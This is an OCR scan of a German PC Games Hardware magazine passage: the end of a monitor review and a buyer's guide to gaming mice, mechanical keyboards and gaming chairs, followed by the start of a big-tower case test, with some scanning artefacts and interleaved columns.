Min: 3,4 ms Мах: 14,6 ms Avg: 5,8 ms 


Fazit: Mit den beiden 240-Hz-Modellen hat Dell zwei Top-Monitore auf den Markt 
geschmissen. Selbst ohne flackernde Low-Motion-Blur-Techniken bieten die beiden 
Alienware-Geräte gestochen scharfe Bewegungen - ideal für Shooter also. 


Hersteller: Dell 
Web: www dell. de 
Preis: ca. € 550,- | Preis-Leistung: befriedigend 


Fazit: Fans des Ultrawide-Formats kommen hier auf ihre Kosten. Sowohl Datenblatt 
als auch Messungen brachten keine größere Schwächen ans Licht. Mit hoher Auflö- 
sung, Bildwiederhorate mit G-Sync bis 100 Hertz, hohem Kontrast und guter Farbtreue 
hat er uns überzeugt. Die satte Ausstattung ist mit 900 Euro aber nicht ganz billig. 


© Nahezu schlierenfrei Ausstattung 
© Gute Bildqualität für TN Eigenschaften 
© Teuer wegen G-Sync Leistung 


PCGH-Preisvergleich 


WERTUNG 


www.pcgh.de/preis/1675342 


www.pcgameshardware.de 


Hersteller: AOC 

Web: eu.aoc.com/de 

Preis: ca. € 900,- | Preis-Leistung: ausreichend 
© Hoher Kontrast Ausstattung 
© Gute Farbtreue Eigenschaften 
© Teuer Leistung 
PCGH-Preisvergleich 


WERTUNG 


www.pcgh.de/preis/1568141 
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dj INFRASTRUKTUR | Kaufberatung Peripherie 


Perfekte Spielpartner 


Eine präzise abtastende Maus, ein Keyboard mit langlebigen Tastenschaltern sowie ein Gaming-Chair mit 


ergonomischem Sitzkomfort gehören zu jedem Gaming-PC. Unsere Beratung hilft beim Peripherie-Kauf. 


aus und Tastatur sind die 
Schnittstelle 
Mensch und Computer. Egal ob Sie 
am PC arbeiten oder spielen, die 


zwischen 


Maus muss jede Ihrer Bewegungen 
präzise und verzögerungsfrei um- 
setzen. Die Tasten des Keyboards, 
egal ob nun mit Gummidom- oder 
Tastenschaltern, 
müssen ebenfalls eine direkte, kom- 
fortable und für die Hände und Fin- 
ger auf die Dauer ermüdungsfreie 
Eingabe des Spielers oder Schrei- 
bers garantieren. Zum Zocken am 


mechanischen 


PC gehört aber auch ein beque- 
mer und vor allen ergonomischen 
Stuhl, der an die Körpergröße und 
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das Gewicht des Spielers angepasst 
ist und den Rücken optimal stützt. 
Doch welche Peripherie erfüllt die- 
se Kriterien denn überhaupt? Die 
Mäuse, Tastaturen und Gaming- 
Stühle, die wir auf den folgenden 
Seiten empfehlen, auf jeden Fall! 


Präzise Handschmeichler 

Mit Dpi-Raten bis zu 16.000 und 
einer Abtastung per Infrarot-LED 
haben sich Spielermäuse zu sehr 
präzisen Tausendsassas gemau- 
sert. Für die Belegung mit Makros 
stehen viele Sondertasten bereit, 
selbst bei der Daumenablage der 
hier empfohlenen Roccat Leadr 


findet man eine Zusatztaste, die 
für Aktionen im Spiel, aber auch 
Office-Funktionen genutzt 
den kann. Da die Nager mittler- 
weile auch RGB-beleuchtet sind, 
einen interen Speicher besitzen 
und eine ARM-CPU dem Sensor 
assistiert, lassen sich neben den 
Beleuchtungseffekten die Lift-Off- 
Distanz, die Pfadbegradigung und 
die Untergrundkalibrierung per 


wer- 


Software regulieren. Eine einfach 
bedienbare Software ist also ein ge- 
nauso wichtiges Kaufkriterium wie 
eine optimale Ergonomie bei allen 
Griffstilen (Palm-/Claw-/Fingertip- 
Grip). 


RGB-Lichtspieler und ergo- 
nomische Sitzmöbel 

Bei den Tastaturen haben sich die 
Modelle mit RGB-Beleuchtung und 
mechanischen Tastschaltern durch- 
gesetzt. Aktueller Stand sind beson- 
ders leise (Cherry MX Silent) oder 
dank des auf 1,2 mm verkürzten Aus- 
löseweges besonders flotte Taster 
(Cherry MX Speed). Um bei ausgie- 
bigen Spiele-Sessions keine Proble- 
me mit dem Rücken oder den Unter- 
armen zu bekommen, empfehlen 
wir zusätzlich ein sehr bequemes 
Sitzmöbel mit optimaler Ergonomie 
und sinnvoller Ausstattung, etwa 
den sogenannten 4D-Armstützen. 


www.pcgameshardware.de 
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Mause 


ine Computermaus kann als 
[ Arm des Spielers 
betrachtet werden, der die eigenen 
Hand- in Mauszeigerbewegungen 
umsetzt. Dabei müssen die Handbe- 
wegungen ohne Verzógerung abso- 
lut präzise übertragen werden, un- 
abhängig von der Abtastart (Laser/ 
Infrarot-LED) und davon, ob die 
Maus per Kabel oder Funk mit dem 
PC kommuniziert. Die latenzfreie 
Abtastung ist die Grundvorausset- 
zung für einen empfehlenswerten 
Nager. Darüber hinaus sollte Letzte- 
rer über eine Dpi-Umschaltung ver- 
fügen, damit Spieler die Abtastrate 
an ihren eigenen Spielstil (Low-/Mid- 
oder High-Sense) anpassen können. 


Ergonomie geht über alles 

Trifft die Grundbedingung zu, dass 
die Spielermaus Ihrer Wahl eine 
pixelgenaue, verzögerungsfreie Ab- 
tastung bietet, deren Dpi-Rate sich 
per Umschalter im idealfall um 10 
Dpi-Schritte den eigenen Vorlieben 
anpassen lässt, ist die Ergonomie 
das wohl wichtigste Kaufkriterium. 
Eine Maus setzt man lange und oft 
ein, egal ob man am PC spielt oder 
arbeitet. Daher muss sie optimal in 
der Hand liegen, egal welchen der 
drei Griffstile (siehe rechts) Sie be- 
vorzugen. Aus diesem Grund emp- 
fehlen wird jedem Mauskäufer, den 
zukünftigen Spielkamerad in die 
Hand zu nehmen - die Elektronik- 
märkte halten in der Regel Muster 
für Ergonomietests parat. Der Palm- 
Grip-Spieler sollte dabei überprü- 
fen, ob sich die Handinnenfläche be- 
quem und ohne störende Elemente 


an die Oberschale anschmiegt und 
der Daumen eine bequeme Maus- 
führung ermöglicht. Claw- oder 
Fingertipp-Spielern sollte es dank 
gummierter Fingermulden und -ab- 
lagen nicht an Griffigkeit mangeln. 
Zusätzliche Dinge, die einen Einfluss 
auf die Ergononie haben, sind das 
Gewicht, die Anordnung und der 
Druckpunkt aller Tasten sowie die 
Gleiteigenschaften. 


Makros und Mausspeicher 

In den letzten Jahren hat man Mäu- 
sen viele Gimmicks spendiert, die 
wie der Fin-Switch und die Analog- 
wippe der Roccat Leadr nur bedingt 
nützlich waren oder wie das ver- 
schiebbare Tastenfeld der Corsair 
Scimitar Pro RGB für eine spezielle 
Zielgruppe konzipiert wurden. Was 
an keiner empfehlenswerten Spie- 
lermaus fehlen sollte, ist eine Mak- 
rofunktion sowie ein Speicher für 
mehrere Profile. Im Optimalfall steht 
dem Sensor eine ARM-CPU zur Seite, 
sodass man zusätzlich die Hubhöhe 
(Lift-Off-Distanz) minimieren, die 
Pfadbegradigung (Angle-Snapping) 
an- und ausschalten sowie die Ab- 
tastoptik für verschiedene Mauspad- 
Oberflächen kalibrieren kann. Hier 
kommt die Software ins Spiel und 
die aufgeführten Einstellungen soll- 
ten sich genauso einfach durchfüh- 
ren lassen wie die Makro-Program- 
mierung. Eine RGB-Beleuchtung ist 
ein nettes Gimmick, das bisher nur 
sehr selten zur Visualisierung von 
Spiele-Ereignissen eingesetzt wird. 
Hier schlummert noch einiges an 
Potenzial. 


Griffstile im Vergleich: 


Eine Hand hat keine genormte Größe und Fingerlänge, daher nimmt jeder Spieler die 
Maus anders in die Hand. Trotzdem haben sich drei Arten, die Maus zu halten und zu 
führen, herauskristallisiert. Passend zu diesen Griffstilen bieten die Hersteller größere 
oder kleinere Modelle an, bei denen sich die Form an die Hand-/Fingerhaltung des Nut- 
zers anpasst. Das Optimum ist eine Form, die für alle drei Griffstile ergonomisch ist. 


Palm-Grip: Handinnenfläche liegt auf dem Mausrücken und führt die Maus. 


Claw-Grip: Handinnenfläche liegt nicht auf, Führung der Maus mit den Fingern. 


Fingertipp-Grip: Mausführung mit Fingerspitzen (Handinnenfläche liegt nicht auf). 


Ein Gewichtssystem wie bei der Sharkoon Skiller SGM1 oder Speedlink Decus Respec ist ein 
nützliches Feature. Aktuell kommen jedoch nur noch wenige Mäuse damit auf den Markt. 


www.pcgameshardware.de 


Mit einem Extra wie dem nach vorn/hinten verschiebbaren Zwölf-Tasten-Block hat 
Corsair bei der RGB-beleuchteten Scimitar Pro RGB den MOBA/MMO-Spieler im Visier. 
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Roccat Leadr 


Roccats neue Leadr kombiniert eine Top-Ausstattung mit einer optimalen 
Abtastung und zeigt, dass drahtlose Mäuse absolut spielertauglich sind. 


Vom neuen IR-LED-Sensor abgesehen, übernimmt Roccat bei der Leadr (ca. 150 Euro) 
die Ausstattung der Tyon. Dazu gehören sechs frei programmierbare Tasten, die mit 
Makros belegt werden können, ein Speicher (512 MB) für fünf Profile und die RGB-Be- 
leuchtungseinstellungen, die Easy-Shift-Funktion sowie eine ARM-CPU (u. a. für Hubhö- 
henkontrolle). Dazu kommen die Daumentaste, der Haifischflossenschalter und der stu- 
fenlose 2-Wege-Schubregler. Da Roccat die Form nicht ändert, liegt die Leadr genauso 
angenehm in der Hand wie die handschmeichelnde Tyon. Die Owl-Eye-Abtastoptik zeigt 
keine Aussetzer und sorgt dafür, dass der Klassenprimus bei den schnurlosen Mäusen 
auch bei maximalen 12.000 Dpi direkt reagiert und optimal kontrollierbar bleibt. 


Asus ROG Gladius |! 


80 Euro ruft Asus für die ROG Gladius Il aus. Dafür erwerben Sie eine 
Spielermaus, die mit ihrer Leistung, Ergonomie und Ausstattung überzeugt. 


Die auffälligsten Änderungen zum ersten Gladius-Modell sind der (Sniper-)Knopf in der 
griffigen Daumenmulde sowie die Beleuchtung, die jetzt in vollem RGB-Farbspektrum 
mit sechs verschiedenen Effekten erstrahlt. Der Pixart-PMW-3360-Sensor tastet mit bis 
zu 12.000 Dpi sehr präzise und latenzfrei per Infrarot-LED ab. Eine ARM-CPU hilft beim 
Festlegen der Lift-Off-Distanz (unter 1 mm möglich) sowie bei den in der Software 
vorhandenen Einstellungen zum Angle-Snapping und der Untergrundkalibrierung. Im 
Speicher der für alle Griffstile ergonomischen Asus Gladius II ist Platz für drei Profile 
und Makros. Wie den Vorgänger liefert Asus die Gladius Il mit zwei Anschlusskabeln 
und einem Paar Omron-Ersatzschalter für die beiden Haupttasten aus. 


G403 Prodigy Wireless 


Logitechs auch als verdrahtete Variante erhältliche G403 Prodigy ist ein 
ergonomischer, gut ausgestatteter Spartipp für Spieler und Office-Nutzer. 


Die drahtlose G403 Prodigy verfügt neben einem Dpi-Umschalter hinter dem Scrollrad 
noch über zwei Daumentasten. Für ein Profil inklusive aller RGB-Beleuchtungseinstel- 
ungen und Makros steht ein interner Speicher bereit. Auf der Unterseite befindet sich 
das Fach für die 10 Gramm Zusatzgewicht. Zur weiteren Ausstattung gehört ein 1,80 m 
anges USB-Kabel sowie ein USB-auf-USB-A-Adapter für den Nano-Empfänger. Da 

sich Logitech bei der Formgebung von der MX518 hat inspirieren lassen, liegt auch die 
6403 Prodigy Wireless optimal in der Hand. Der optische Sensor, der Pixart PMW3366, 
eistet sich auch bei maximaler Abtastrate von 12.000 Dpi keine Schwáchen. Die Lift- 
Off-Distanz fällt mit ca. 1 mm für Nager mit einer LED-Abtastung sehr niedrig aus. 


Sharkoon Skiller SGM1 


Sharkoons Skiller SGM1 kombiniert eine gute bis sehr gute Ausstattung 
sowie anstandslose Leistung mit einem niedrigen Preis von unter 40 Euro. 


Die Ausstattung der auch ohne Unterstützung einer ARM-CPU per IR-Optik verzöge- 
rungsfrei abtastenden Skiller SGM1 lässt wenig Wünsche offen. Neben den beiden 
Dpi-Umschaltern verfügt der RGB-beleuchtete Nager (Scrollrad/Heck) über fünf M-Ta- 
sten oberhalb der Daumenablage. Deren grellweißes Licht nervt, genauso wie das der 
vier Dioden zum Anzeigen der gewählten Dpi-Stufe. Das Gewichtssystem (6 x 4 g) und 
der 16 kb große Speicher für sechs Profile runden die gelungene Ausstattung ab. Die 
Ergonomie ist gut, aber nicht optimal, da die Auflage für den Ring- und kleinen Finger 
йг den Palm-Grip zu klein ausfällt. Der Pixart-PMW-3336-Sensor lässt sich auch bei 
maximalen 10.800 Dpi und akzeptabler Hubhöhe von 1,5 mm noch präzise einsetzen. 
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Tenkeyless-Tastaturen sind eine kompakte Variante bei denen der Nummernblock fehlt. Веі 
der Asus ROG Claymore, kann das Num-Pad sogar links von Haupttastenfeld andocken. 


Lioncasts LK300 verfügt über sechs Gummidom-Tasten (G1 bis G5/Rec) für die Makro- 
Aufzeichnung/-Speicherung. Beleuchtungsprofile ruft man mit den Tasten 1 bis 5 ab. 


Eine Handballenablage, die auch für Spieler mit langen Fingern nicht zu klein ist, garan- 
tiert eine optimale Ergonomie. Roccat nutzt bei der Ryos MK FX eine integrierte Variante. 


Schalterkunde 


M X Jie die Maus so ist auch die Tas- 
tatur die direkte Schnittstelle 
zwischen Mensch und Rechner. Ur- 
sprünglich als Gerät zur Eingabe von 
Daten, OS-Befehlen, E-Mails und Tex- 
ten gedacht, haben sich gerade die 
für Spieler entwickelten Tastenbret- 
ter zu bunt beleuchteten Multifunk- 
tionseingabegeräten gewandelt, die 
sehr viel Sonderausstattung bieten. 


Die ah 

Neben den bei Notebooks oder 
Keyboards mit sehr flachen Tas- 
tenkappen zum Einsatz kommen- 
den Scherenmechanik-Schaltern 
haben sich zwei weitere Typen bei 
Gaming-Keyboards durchgesetzt. 
Günstige Geräte setzen auf eine 
Gummidom-Mechanik, bei der ein 
elektrisch leitender Gummidom 
zwei Kontakte auf der mit Leiter- 
bahnen versehenen und als Matrix 
bezeichneten Polyesterfolie über- 
brückt. Edle Schreibgeräte sind mit 
mechanischen Tastenschaltern be- 
stückt, die früher fast ausschließlich 
vom Branchenriesen Cherry gefer- 
tigt wurden. Die Hauptmerkmale 
der mittlerweile auch von Kailh, 
Omron/Logitech oder TTS (Roccat) 
produzierten Switches sind ein ge- 
nau festgelegter Auslösepunkt nach 
beispielsweise 2,2 mm, ein gesam- 
ter Tasterhub, der zwischen 3,4 und 
4,2 mm liegt, sowie ein haptisches 
oder akustisches Feedback respek- 
tive ein linearer Schalterweg. Dazu 
kommt eine genau festgelegt Druck- 
kraft in Zentinewton oder Gramm, 
die dafür sorgt, dass sich die Tas- 
ter definierter anfühlen als ihre 
Rubberdome-Pendants. Ein weite- 
rer Vorteil: Bei einer mechanischen 
Tastatur können theoretisch alle 


Tasten gleichzeitig gedrückt wer- 
den. Nicht zuletzt sind deshalb die 
Tastenschalter, die über 50 Millio- 
nen Betätigungen standhalten, die 
erste Wahl für eine Spielertastatur. 


Die Ergonomie ist ebenfalls ein 
wichtiges Kriterium beim Tastatur- 
kauf. Daher raten wir, mechanische 
Tastaturen in die nähere Auswahl 
zu nehmen, die mit einer (gepols- 
terten) Handballenablage bestückt 
sind, die auch für Spieler mit gro- 
ßen Händen und langen Fingern 
noch ausreichend breit dimensio- 
niert ist. Das garantiert ein für das 
Handgelenk ermüdungsfreies Sch- 
reiben oder Spielen. Ebenfalls wich- 
tig: Die Tastenblöcke dürfen nicht 
zu nah zusammenliegen und die 
F-Tastenreihe und/oder zusätzliche 
Makrotasten müssen sich klar vom 
Haupttastenfeld absetzen, 
kommt es zu Fehlgriffen. 


sonst 


Sonder- und Makr en 


Weitere Dinge, auf die man verzich- 
ten kann, aber nicht sollte, sind eine 
Makrofunktion mit Direktaufzeich- 
nung, eine Profilverwaltung sowie 
der für diese Features benötigte 
Speicher. Sondertasten, vor allem 
für Multimedia-Funktionen, aber 
auch für die Makro-Belegung sind 
nützlich. Im Idealfall sind die F-Tas- 
ten nicht doppelt belegt und es ste- 
hen separate Knöpfe bereit. Audio- 
und USB-Anschlüsse sollten auch 
nicht fehlen. Eine programmierbare 
Einzeltastenbeleuchtung ist beim 
Spielen in dunkler Umgebung sehr 
hilfreich. Es genügen aber eine oder 
zwei Beleuchtungsfarben und nicht 
das ganze RGB-Farbspektrum. 


Logitechs G213 Prodigy ist mit Gummidom-Schaltern bestückt. Der Cherry-MX-Speed-RGB-Schalter besitzt einen frühen Auslösepunkt nach 1,2 mm (3,4 mm Gesamthub). Roccats TTS- und 
die Kailhs RGB-Schalter sind baugleich mit Cherrys Originalen. Die Lichtstreuung beim Romer G ist minimal und die PRES-Switches von Omrom lösen nach 1,5 mm aus (Gesamthub: 3,5 mm). 


Gummidom-Tastenschalter Cherry MX Speed RGB 


Omron-PRES-Schalter 
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Corsair K95 Platinum RGB 


Mit einem Preis von 185 Euro gehört Corsairs Mechanik-Flaggschiff zu den 
teuersten Modellen. Dafür ist die Ausstattung top und die Taster sind flott. 


Corsair spendiert der K95 Platinum RGB eine umfangreiche Sonderausstattung, zu 
der fünf Mediatasten, eine Lautstärkewalze und sechs separate Makrotasten gehö- 
ren. Die F-Tasten sind nicht doppelt belegt und lassen sich zusätzlich beispielsweise 
ür die Makro-Programmierung nutzen. Wie die elf vorgefertigten RGB-Beleuch- 
ungseffekte und die selbst erstellten Beleuchtungsprofile können auch die Tasten- 
kombinationen in einem der drei per Taste aufrufbaren Profile gespeichert werden 

8 MiB Speicher) und sind sogar ohne Software abrufbar. Dank der gummierten und 
ausreichend grofien Handballenablage bietet Corsairs K95 RGB Platinum eine opti- 
male Ergonomie. Mit einem auf 1,2 mm verkürzten Auslöseweg ermöglichen Cherrys 
X-Speed-RGB-Schalter dem Spieler eine sehr schnelle Reaktion und Mehrfachbetä- 
igung. Vielschreiber müssen sich dagegen an den frühen Auslösepunkt gewöhnen. 


Razer Ornata Chroma 


Die Ornata Chroma ist ein ergonomisches und mit 110 Euro bezahlbares 
Schreib- und Spielgerát mit Razers Mecha-Membran-Tastenschaltern. 


Von den Hybrid-Schaltern und den Makrotasten abgesehen, bietet die Ornata Chroma 
dieselbe Ausstattung wie ihre für 160 Euro erhältliche Schwester, die Black Widow 
Chroma. Auch hier steht eine breite Palette an RGB-Lichttricks bereit (u. a. acht Effekte 
+ Spielmodi), für die Individualisierung der Beleuchtung muss Razers Synapse-Software 
installiert sein. Lediglich für Makros steht eine Direktaufzeichnungsfunktion (Еп + F9) 
bereit. Wie bei einem Großteil aller Tastaturen liegen die Multimediafunktionen als 
Doppelbelegung auf den F-Tasten, eine Gaming-Taste (schaltet die Win-Taste aus) und 
ein 10KRO gehören ebenfalls zur Ausstattung. Die gepolsterte und ausreichend große 
Handballenablage sorgt füt eine sehr gute Ergonomie. Der Mecha-Membran-Tasten- 
schalter gibt akustisch Feedback und benötigt eine hohe Druckkraft, muss aber dank des 
Klickgeräusches am Anschlagspunkt nicht mit voller Kraft durchgedrückt werden. 
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Lioncast LK300 RGB 


Unser Preis-Leistungs-Tipp, die LK300, kombiniert eine sehr gute Ergonomie 
und eine tolle RGB-Effektpalette mit einem passablen Preis von 120 Euro. 


Das Ausstattungs-Highlight der Lioncast LK300 RGB ist die Beleuchtung. Diese umfasst 
14 Effekte inklusive Frequenzregelung, einen Farbwechselmodus, eine Reset-Funk- 
tion für die Vollbeleuchtung sowie eine Direktaufzeichnung für fünf Profile, die auf 

die Tasten 1 bis 5 zum Abrufen speicherbar sind. Für individuelle Lichttricks bietet 

die Software keine Option, ermöglicht aber eine einfache Makroprogrammierung. 
Letztgenannte verfügt zusätzlich über eine Direktaufzeichnungsfunktion. Des Weiteren 
verfügt die LK300 RGB über sechs Sondertasten sowie sechs Makro- und Multimedia/ 
Office-Knöpfe (Doppelbelegung F1 bis F12). Die Handballenablage könnte breiter 
sein, garantiert aber insgesamt eine sehr gute Ergonomie. In der Praxis überzeugt die 
LK300 RGB mit ihren roten Kailh-RGB-Tastern. Die lassen sich schnell hintereinander 
auslösen, produzieren aber im unteren Bereich des Tastenfeldes ein Ping-Geräusch. 


3 Prodigy 


š ^ 1 
at a 
Logitech G21 
ke 
Logitechs G213 Prodigy ist eine Tastatur mit Gummidom-Schaltern, die mit 
60 Euro nur die Hälfte oder ein Drittel der mechanischen Vertreter kostet. 


Zur Ausstattung der G213 Prodigy gehören eine Handballenablage, sieben Multimedia- 
tasten, ein Knopf, der die Win-Taste deaktiviert, ein Beleuchtungsschalter, eine Makro- 
funktion sowie ein Speicher für ein Profil inklusive Makros und Beleuchtungseinstellung. 
Die Lichtspielereien der G213 Prodigy (vier Effekte + Zonenmodus per Software) finden 
zwar im RGB-Farbraum statt, eine Einzeltastenbeleuchtung gibt es aber nicht. Da 
Logitech sich bei der absolut rutschfesten G213 an das Standard-Tastenlayout hàlt und 
Multimediatasten oberhalb des Zehnerblocks platziert, kónnen alle Tasten leicht erreicht 
werden. Die etwas zu schmal geratene Handballenablage garantiert eine fast perfekte 
Ergonomie. Wie von früheren Logitech-Gamer-Keyboards gewohnt, fallen der mittelhar- 
te Druckpunkt und der knackige Anschlag der Tasten definiert und gut spürbar aus. Das 
macht die G213 zu einem guten und günstigen Spielgefährten und Schreibgerät. 
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Die Basis eines Gaming Chairs ist der Stahlrohrrah- 
men. Bei empfehlenswerten Modellen liegt die PU- 
Kaltschaummatte für den Sitz auf Elastikbándern auf. 


aming Chairs, also Bürostüh- 

le mit Rennsitz-Design, sind 
mittlerweile mehr als eine kurzfris- 
tige Hardware-Mode. Wer lange an 
seinem Rechner arbeitet oder viel 
spielt, braucht einen Stuhl, der per- 
fekt zur Körpergröße und dem eige- 
nen Gewicht passt. Außerdem muss 
der Bürostuhl mit Stützwangen für 
Schulter und Becken ergonomisch 
sein und bei Langzeitbenutzung be- 


quem bleiben. Wir helfen Ihnen bei 
der Wahl des richtigen Sitzmöbels. 


Das Erste, was Sie vor dem Kauf ei- 
nes Gaming Chairs machen sollten, 
ist, sich über die maximale Körper- 
größe zu informieren, für die das 
Sitzmöbel geeignet ist. Fehlen An- 
gaben zur maximalen Körpergröße, 


hilft nur Probe zu sitzen. Der Hinter- 


Wie der Maxnomic Commander S 111 überzeugt die neue Büro- 
Gaming-Stuhl-Kombination mit tollem Sitzkomfort und sehr 
rückenfreundlicher Ergonomie. 


Noblechairs neues Modell Icon überzeugt nicht nur mit einer 
hohen Qualitát, gelungenen Ausstattung und seiner harten, aber 
bequemen Polsterung. Hier gefällt auch die Ergonomie, die in 
der typischen Gamer-Haltung noch durch 4D-Armstützen und ein 
flaches Lendenstützkissen spürbar optimiert wird. 


Die Perforation im Kunstle- 
derbezug (1) verbessert das 
Sitzgefühl an heißen Tagen, 
für die in jeder Position fest- 
stellbare Wippmechanik (3) 

ist ein Hebel vorhanden. Die 
Rahmenkonstruktion mit Stre- 
ben und Elastikgurt (Sitz, Bild 
2) respektive drei Querstreben 
aus Stahlrohr (Lehne) zeugen 
von der hohen Fertigungsqua- 
lität. Das harte Polster (55 96 
Dichte) unterstützt die sehr 
gute Ergonomie. 


Die Basiskonstruktion des 
Sitzes sowie die Einheit 

mit der Wippmechanik 

und Hóhenverstellung 

ist identisch mit der der 
Noblechairs-Stühle. Das 
Alleinstellungsmerkmal ist 
die in die Lehne intergrierte 
Lordosenstütze. 


Die 4D-Armlehnen mit Fingerablagen und dem seitlichen 
Metallknopf hat sich Maxnomic sogar patentieren lassen. 
Kunstveloursleder-Applikationen und orange Náhte 
verleihen dem Stuhl einen hochwertigen Look. 
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kopf muss sich auf Höhe der Kopfstütze 
befinden, die Beine sollten fest auf dem 
Boden stehen und der Abstand von der 
Kante der Sitzfläche zur Kniekehle sollte 
gut zwei Finger betragen. Zusätzlich sollte 
sich die Schulterpartie auf Höhe der Schul- 
terwangen befinden und die Sitzwangen 
das Becken nicht einzwängen. Das Zweite, 
das es zu beachten gilt, ist die maxima- 
le Gewichtsbelastung. Ist der Spieler zu 
schwer für den Stuhl, leidet die Gasdruck- 
feder. Letztgenannte kann bei Stühlen der 
Marken Maxnomic und Noblechairs in ver- 
schiedenen Längen erworben werden, so 
hat man mehr Variation bei der wichtigen 
Sitzhöhe. 


Design, reine Geschmackssache 
Beim Kauf eines Gaming Chairs spielt der 
persönliche Geschmack ebenfalls eine Rol- 
le. Beim Oberflächenmaterial für Lehne 
und Sitzflächen lassen sich durchaus Un- 
terschiede zwischen echtem Leder, Kunst- 
leder oder Stoff beispielsweise bei der 
Absorption des Schweißes oder der Haptik 
der Bezüge ausmachen. Die Farbe, das De- 
sign der Kopfstütze oder Stützwangen im 
Schulterbereich sowie Applikationen wie 
Stickereien oder Logos sind jedoch immer 
Geschmackssache. Da hier jeder Käufer 
andere Präferenzen setzt, bleiben diese 
subjektiven Features bei unserer Kaufbera- 
tung außen vor. 


Eine sichere Bodengruppe 

Hauptverantwortlich für den optimalen 
Stand eines Gaming Chairs ist das Fuß- 
kreuz beziehungsweise die daran befestig- 
ten Rollen. Beim Material ist Alu-Druckguss 
einen gute Wahl, ein Kunststoff ist weniger 
empfehlenswert. Bei den Rollen gilt es zu 
beachten, dass diese leichtgängig sind, egal 
ob sie auf hartem oder weichem Boden 
zum Einsatz kommen. Im Idealfall verfü- 
gen sie über eine Feststellfunktion, die be- 
sonders auf harten, rutschigen Böden von 
Vorteil ist. Mittlerweile bieten Hersteller 


wie Maxnomic, DX Racer oder AKRracing 
sogenannte Blade-Rollen an, deren Laufflä- 


che aus weichem Gummi besteht und die 
sich für Holzböden (Parkett) eignen. 


Die Gasdruckfeder ist das entscheidende 
Bauteil, wenn es um die Höhenverstellung 
und die maximale Gewichtsbelastung 
geht. Die optimale Sitzhöhe ist in der The- 
orie dann erreicht, wenn die Ober- und 
Unterschenkel mindestens einen Winkel 
von 90 Grad bilden und die vordere Kante 
des Sitzes und Kniekehle bei gerader Hal- 
tung auf der gleichen Höhe liegen. Ein wei- 
teres Ausstattungsmerkmal, das jeder Ga- 
ming Chair bietet, ist eine Wippmechanik. 
Die sollte sich in mehreren Stufen arretie- 
ren lassen, darf kein Spiel haben und sollte 
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über einen Mechanismus verfügen, 
mit dem sich der Widerstand an 
das Körpergewicht anpassen lässt. 


Armstützen & Sitzkomfort 

Armstützen dürfen an keinem Bü- 
rostuhl fehlen und ein Modell ist 
dann empfehlenswert, wenn die- 
se drehbar sind und in der Höhe, 
nach vorn sowie hinten verscho- 
ben werden können. Optional sind 


IT 


„120,240,280 
/ und 360mm 
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die Armstützen auch noch nach 
links und rechts verschiebbar. Bei 
der Sitzpolsterhärte hat jeder Nut- 
zer eigene Vorlieben. Wichtig ist, 
dass der Sitzbereich zum einen 
ausreichend breit ausfällt, sodass 
die Außenseiten des Beckens nicht 
unangenehm an die Seitenwangen 
stoßen, zum anderen muss die 
Länge stimmen, damit nahezu die 
gesamte Unterseite des Oberschen- 
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kels auf der Sitzfläche aufliegt. Des 
Weiteren ist es wichtig, dass der 
Rücken an allen Bereichen von der 
Lehne gestützt wird und die Schul- 
terwangen passend positioniert 
sind, damit sie dem Körperteil 
Halt geben. Wenn der Stuhl dann 
außerdem wie der Maxnomic Of- 
fice Comfort über eine integrierte 
Lendenstütze verfügt, ist die Ergo- 
nomie perfekt. (fs) 
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Darf's auch etwas 
größer sein? 


Große Gehäuse sind mehr als nur 
Raumwunder, die viel Platz für Hard- 
ware bereithalten. Wie unser Test 
zeigt, überzeugen die Big-To- 
wer auch mit ihren guten 
Kühleigenschaften. 


gitt: Dy x 
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as Gehäuse ist eine beson- 
dere und oft die auffälligs- 
te PC-Komponente, die mehrere 


Hardware-Generationen überlebt. Be quiets Gehäuseflaggschiff, das nun in einer weißen, auf 2.000 Stück 
Daher spielen beim Kauf neben limitierten Edition erhältlich ist, wird mit der Note 1,58 unsere Referenz. 
den Kühleigenschaften und der Ge- Die mit dem Dark Base 900 Pro baugleiche White Edition bietet ebenfalls 


räuschkulisse auch Design, Optik Besonderheiten bei der Ausstattung wie einen Mainboard-Tray, der um 
180° drehbar ist, sowie einzeln demontierbare Laufwerkshalterungen. 


und Größe eine wichtige Rolle. Ob- 
Dazu kommen eine gut bis sehr gute Kühlleistung und leise Lüfter. 


wohl die Grenzen zwischen einem 
Midi- und einem Big-Tower immer 
mehr aufweichen, bevorzugen viele 
PC-Bastler bei der Wahl des neuen 


Hardware-Heims ein großes Gehäu- - | I Eine Laufwerkshalterung nimmt wahlweise eine 
3,5-Zoll-HDD oder zwei 2,5-Zoll-SSDs/HDDs auf. 


Das Netzteil lässt sich in seiner Position verschie- 
ben, die beiden staubgeschützen Frontlüfter sind 
hinter der gdämmten Tür kaum zu hören. 


se mit einem Innenraumvolumen 
zwischen 70 und 120 Litern. Dabei 
geht es oft nicht darum, dass man 
Platz für den Einbau vieler Festplat- 
ten oder Lüfter benötigt. Da der 
Einblick ins Innere mithilfe von glä- 
sernen Seitenfenstern oder -teilen 


mittlerweile zum Ausstattungsstan- 
dard geworden ist, verschönern 
immer mehr Gamer ihr Gehäuse im 
Inneren mit aufwendigen Wasser- 
kühlkostruktionen, deren Radiato- 
ren mit RGB-Lüftern versehen sind 
und deren Ausgleichsbehälter und 
Pumpen prominent im Innenraum 


Jede Laufwerkshalterung kann einzeln ausge- 
baut werden und der Mainboard-Tray lässt sich 
angebracht werden. Hier punkten a e unabhàngig von der Netzteilposition invertie- 
die Big-Tower klar mit ihrem Platz- ren. Zur sehr guten Ausstattung gehört eine 
angebot. Doch die Großen bieten stufenlose Lüftersteuerung mit PWM-Signal. 
nicht nur die Option, bunte Blick- 
fänger im Inneren zu installieren. 
Wie unser Vergleichtest zeigt, ma- 
chen sie auch mit einer gut bis sehr 
guten Kühlleistung bei einer meis- 
tens erträglichen Geräuschkulisse Dank des Innenraumvolumens von fast 120 Litern ist in EVGAs mit ei- 
auf sich aufmerksam. ner Haupt- sowie zwei Seitentüren ausgestattete Riesengehäuse Platz 
überhaupt kein Problem. Zur sehr guten Ausstattung (Wertung: 1,14) 
die unter anderem über eine Lüftersteuerung mit Display verfügt, 
kommt eine sehr gute Kühlung (CPU: 62 °C/GPU: 69 °C). Die sechs 
verbauten 140-mm-Lüfter gehen aber mit 1,7/1,7 hörbar zu Werke 
(Wertung: 3,00). 


k Base Pro 900 White 


d n: Neue Farbe, altbewährte 
Flexibilität. Be quiet legt das Ge- 
häuseflaggschiff Dark Base 900 
Pro in Weiß neu auf und bis auf 
den Farbwechsel ist das auf 2.000 
